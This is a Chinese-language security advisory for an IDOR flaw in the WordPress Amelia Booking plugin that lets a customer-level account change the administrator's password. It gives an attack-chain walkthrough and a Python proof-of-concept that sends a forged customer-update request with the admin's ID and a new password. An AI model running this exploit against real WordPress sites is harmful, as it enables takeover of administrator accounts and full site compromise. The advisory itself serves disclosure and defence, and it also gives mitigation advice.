CVE-2026-2931 CVSS 8.8 高危

CVE-2026-2931 WordPress Amelia Booking插件IDOR漏洞

披露日期: 2026-03-26

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-2931

漏洞类型

不安全的直接对象引用 (IDOR)

CVSS评分

8.8 高危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

WordPress Amelia Booking Plugin

漏洞概述

WordPress Amelia Booking插件（专业版）在9.1.2及之前版本中存在不安全的直接对象引用（IDOR）漏洞。由于插件提供了用户控制的访问对象权限，攻击者可以绕过授权机制访问系统资源。这使得拥有客户级别及以上权限的认证攻击者能够修改用户密码，并潜在地接管管理员账户，从而完全控制受影响的WordPress站点。

技术细节

该漏洞的根本原因在于插件缺乏有效的访问控制验证。在处理用户更新请求时（例如通过UpdateCustomerController.php），应用程序直接信任了用户输入的参数来标识要操作的对象ID，而未对当前操作者是否拥有该对象的操作权限进行严格校验。攻击者只需一个低权限账户（如客户账户），通过截获或构造特定的API请求，将目标用户ID修改为管理员的ID，即可绕过权限检查。当服务器接收到请求后，会执行更新逻辑，允许攻击者重置目标账户的密码或修改关键信息。这种IDOR漏洞通常发生在REST API或AJAX请求处理逻辑中，导致水平或垂直权限提升。

攻击链分析

STEP 1

1. 注册账户

攻击者在目标WordPress站点注册一个低权限的普通客户账户。

STEP 2

2. 构造请求

攻击者分析插件API请求，发现可以通过修改参数中的用户ID来更新目标用户信息，构造包含管理员ID的恶意数据包。

STEP 3

3. 发起攻击

利用低权限账户的Cookie，发送构造好的POST请求，尝试更新管理员账户的密码。

STEP 4

4. 接管账户

由于服务器未校验操作者与目标对象的关系，密码被成功修改，攻击者使用新密码登录管理员后台。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL structure for Amelia Booking API
target_url = "https://example.com/wp-admin/admin-ajax.php"

# Attacker's authenticated cookie (Low privilege user)
cookies = {
    "wordpress_logged_in_xxx": "low_privilege_session_cookie"
}

# Exploit payload
# The vulnerability allows changing the 'customerId' to any user ID (e.g., Admin ID = 1)
payload = {
    "action": "wpamelia_api",
    "call": "/users/customers/update",
    "customerId": "1",  # IDOR vulnerability: Targeting Administrator
    "password": "HackedPassword123!"
}

try:
    response = requests.post(target_url, data=payload, cookies=cookies)
    if response.status_code == 200:
        print("[+] Request sent successfully. Check if password was changed.")
        print(response.text)
    else:
        print("[-] Request failed.")
except Exception as e:
    print(f"[!] Error: {e}")

影响范围

WordPress Amelia Booking Plugin <= 9.1.2

防御指南

临时缓解措施

如果无法立即升级，建议暂时禁用Amelia Booking插件以阻断攻击路径。同时，网站管理员应立即审查系统日志，检查是否存在异常的用户密码修改操作，并强制所有管理员和用户重置密码以防已被接管。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表